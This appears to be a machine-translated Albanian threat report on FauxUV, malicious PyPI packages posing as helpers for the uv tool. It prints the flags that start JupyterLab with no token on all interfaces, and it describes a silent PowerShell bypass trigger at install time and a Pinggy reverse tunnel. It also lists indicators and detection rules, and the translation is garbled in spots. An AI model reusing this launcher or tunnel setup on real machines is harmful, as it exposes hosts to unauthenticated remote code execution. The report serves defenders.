TL; DR
Një grumbull paketash PyPI huazoi emrin e uv, menaxheri i shpejtë dhe jashtëzakonisht popullor i paketave Python i bazuar në Rust, për t'u paraqitur si ndihmës UV. Ata nuk ofrojnë pothuajse asnjë funksionalitet të vërtetë. Ajo që ata mbajnë në vend të kësaj është një ngarkesë e Windows që qëndron në një pozicion të qëndrueshëm. Serveri JupyterLab me autentifikim të çaktivizuar dhe, në versionet e mëvonshme, e publikon atë në internetin publik përmes një tuneli të kundërt.
Kjo është e gjithë historia në një rresht: një emër mjeti i besueshëm si karrem, dhe JupyterLab si motori i ekzekutimit të kodit në distancë. Një server Jupyter ekzekuton çdo kod që shkruani në një server jo.ebook qeliza; një qelizë e nisur me një token bosh dhe e lidhur me çdo ndërfaqe rrjeti është një interpretues i hapur që kushdo që mund të arrijë portin mund ta drejtojë.
Ne e ndjekim klasterin si FauxUVDy paketat e shqyrtuara janë moon-uv (0.0.1-0.0.16) dhe my-magic-uv-helper (0.0.1), publikuar nga i njëjti operator dhe drejtpërdrejt në PyPI në kohën e analizës.
| ekosistemit | PyPI |
| Paketat | moon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1) |
| Platforma e synuar | Dritaret |
| Sjellja thelbësore | Server JupyterLab i paautorizuar, i publikuar në internet nëpërmjet një tuneli të kundërt |
| Mjete legjitime të keqpërdorura | uv, JupyterLab, cloudflared, Pinggy |
Joshja: një emër që tashmë i besoni
uv është një nga mjetet Python më të instaluara të dy viteve të fundit, kështu që "një ndihmës për uv"është një paketë që një zhvillues e instalon pa menduar dy herë. FauxUV ia kushton besueshmërinë e tij tërësisht këtij emri. Paketat mbështjellin i vërtetë uv instaluesi nga Astral — URL-të në ngarkesë tregojnë për hostë të vërtetë dhe me reputacion të mirë — kështu që një vështrim i shpejtë nuk sheh asgjë tjetër përveç referencave të besueshme. Asnjë nga paketat nuk shton në të vërtetë uv funksionalitet; emri është i gjithë maskimi.
JupyterLab si motori RCE
Pjesa qendrore e ngarkesës është një lëshues që nis JupyterLab me çdo parmak mbrojtës të hequr:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Çdo flamur heq një mbrojtje, dhe skripti i dërguar madje i shënon ato (në kinezishten origjinale): tokeni bosh "çaktivizon kontrollet e fjalëkalimeve dhe tokenëve — kushdo mund të lidhet." laborator jupyter është një IDE legjitime e shkencës së të dhënave, por jo njëebook qeliza ekzekuton kod arbitrar sipas dizajnit. Konfiguruar në këtë mënyrë dhe e lidhur me 0.0.0.0, nuk është më një IDE dhe bëhet një shell i largët i paautorizuar në host — nuk kërkohet asnjë skedar binar i personalizuar për malware, vetëm një mjet kryesor që tregon drejtimin e gabuar.
Dy pjesë mbështetëse e bëjnë atë të arritshme dhe të përsëritshme:
- Një shkaktar instalimi i heshtur. Versionet e hershme përdorin PowerShell me -Përshkrimi i ekzekutimit të gazit drejt nga konfigurim.py on instalim pip, në sfond me gabime të shtypura kështu cicërin duket normale. Versionet e mëvonshme e zhvendosin të njëjtën primitive në një pip-uv mjet i linjës së komandës — dhe hiqni tërësisht ekzekutimin automatik në kohën e instalimit.
- Një tunel publik i kundërt. Një server në 0.0.0.0 është ende i arritshëm vetëm nga hostet që mund të drejtohen te makina. Një modul i paketuar hap një [Pinggy](https://pinggy.io/) Tuneli i kundërt SSH që përcjell portin lokal Jupyter në një adresë publike, duke hequr atë kufizim. Skripti i dërguar gjithashtu mbart - komentuar - një rrugë alternative duke përdorur Cloudflare-in. i ndezur me re dhe një netsh port-proxy në një IP Linode, duke dokumentuar të njëjtin qëllim përmes infrastrukturës së ndryshme.
Përgatiteni së bashku: instaloni paketën dhe një host i Windows përfundon duke ekzekutuar një JupyterLab pa fjalëkalim dhe duke e publikuar atë në internetin e hapur.
Si evoluoi FauxUV
Versionet e FauxUV u dërguan me shpejtësi njëra pas tjetrës dhe pika e aktivizimit të ngarkesës lëvizte përmes tyre - një kujtesë se një version i shënuar rrallë tregon të gjithë historinë e një linje paketash.
| Fazë | Versione | shkrehës | Çfarë shton |
|---|---|---|---|
| Grep instalimi | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py në instalimin e pip-it | instalimi UV + prependimi i PATH |
| CLI-runtime | moon-uv 0.0.5-0.0.13 | pip-uv komandë | lëshuesi JupyterLab pa fjalëkalim |
| Tunel | moon-uv 0.0.14-0.0.16 | pip-uv komandë | një tunel aktiv i kundërt i Pinggy-t |
Veçanërisht, ekzekutimi automatik në kohën e instalimit ishte hequr në versionet e mëvonshme, më të afta - pra një skaner i kyçur vetëm në ciklin jetësor hooks do t'i vlerësonte publikimet më të reja si më pak e rrezikshme, pikërisht mbrapsht.
Treguesit e kompromisit
Konfirmuar duke lexuar burimin e paketës; pikat fundore të shënuara komentoi janë të pranishme në skedarë, por nuk ekzekutohen nga versioni i analizuar. Treguesit e rrjetit janë të çaktivizuar.
| Tipi | Tregues |
|---|---|
| Komanda e instalimit | powershell -ExecutionPolicy Bypass duke marrë instaluesin origjinal UV, në kohën e instalimit të pip-it |
| Flamujt e JupyterLab | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Tuneli i kundërt (aktiv) | free[.]pinggy[.]io:443 duke përcjellë lokalisht 127.0.0.1:8888 |
| Pritësi i tunelit (komentuar) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (e komentuar) | 45[.]79[.]134[.]161 (Linode) nëpërmjet netsh port-proxy |
| Këmbëngulje | paraprin %USERPROFILE%\.local\bin te përdoruesi PATH |
Sinjale sjelljeje për të cilat ia vlen të alarmosh, pavarësisht nga këto vargje të sakta: a instalim pip që pjell powershell -ExecutionPolicy Bypass; çdo Jupiter nisja e kombinimit token=”” me –ip=0.0.0.0; dhe SSH dalëse për në *.pinggy.io nga një zhvillues ose makinë CI.
Sjellja dhe prejardhja e vëzhguar
Të dy paketat ndajnë një autor dhe një metodë: një emër mjeti të besueshëm, portë vetëm për Windows, ekzekutim në sfond pa gabime dhe mbështetje në mjete me reputacion të mirë, kështu që një vështrim i shpejtë sheh vetëm URL me reputacion të mirë. Burimi përmban komente në gjuhën kineze që përshkruajnë qartë flamujt që lidhen me sigurinë; ne i raportojmë ato si deklarata të vëzhgueshme në skedar, jo si një pretendim në lidhje me motivin. lejo_origjinën vlerë dhe një colab.bat emri i skedarit pasqyron rrjedhat joformale të punës "ndaj kohën time lokale të ekzekutimit" që qarkullojnë për Google Colab. Cilado qoftë origjina, rezultati i paketuar është i njëjtë.
Ndikimi dhe udhëzimet për mbrojtësit
Kush është i ekspozuar ndaj FauxUV. Zhvilluesit e Windows dhe ekzekutuesit e CI që instalim pip një nga këto paketa. Një JupyterLab pa fjalëkalim në 0.0.0.0 është ekzekutim kodi në distancë për këdo që mund të arrijë portin; tuneli heq limitin "kush mund ta arrijë atë". Serveri funksionon si përdoruesi instalues, duke trashëguar skedarët, tokenët dhe kredencialet e cloud-it të atij përdoruesi.
Pse është e lehtë të humbasësh. Çdo varg rrjeti tregon një host me reputacion të mirë — Astral, JupyterLab, i ndezur me re, Pinggy, Colab. Nuk ka asnjë skedar binar malware për të hashuar dhe asnjë blob të errët për të deshifruar. Skanimi i bazuar në reputacion dhe nënshkrim e nënvlerësojnë këtë, prandaj pyetja e sjelljes — Çfarë bën instalimi i kësaj pakete në makinë? — është ai që e kap atë.
udhëzime:
- Trajtoni çdo kohë instalimi powershell -ExecutionPolicy Bypass si një sinjal prishës i ndërtimit, pavarësisht URL-së që merr.
- Alarmi është aktiv Jupiter u lançua me një token bosh dhe –ip=0.0.0.0; ky kombinim nuk duhet të shfaqet kurrë në një stacion pune ose ekzekutues.
- Monitoroni për ofruesit e tunelit me SSH dalëse (*.pinggy.io, *.trycloudflare.com) nga zhvilluesit dhe mjediset CI.
- Instaloj uv nga [burimi i saj zyrtar] (https://docs.astral.sh/uv/) dhe ji skeptik ndaj paketave "ndihmëse" të palëve të treta që mbështjellin një mjet që është tashmë i thjeshtë për t'u instaluar.
- Ngjit dhe rishiko varësitë në përditësim — një linjë paketash mund të zhvillojë aftësi të reja version pas versioni.



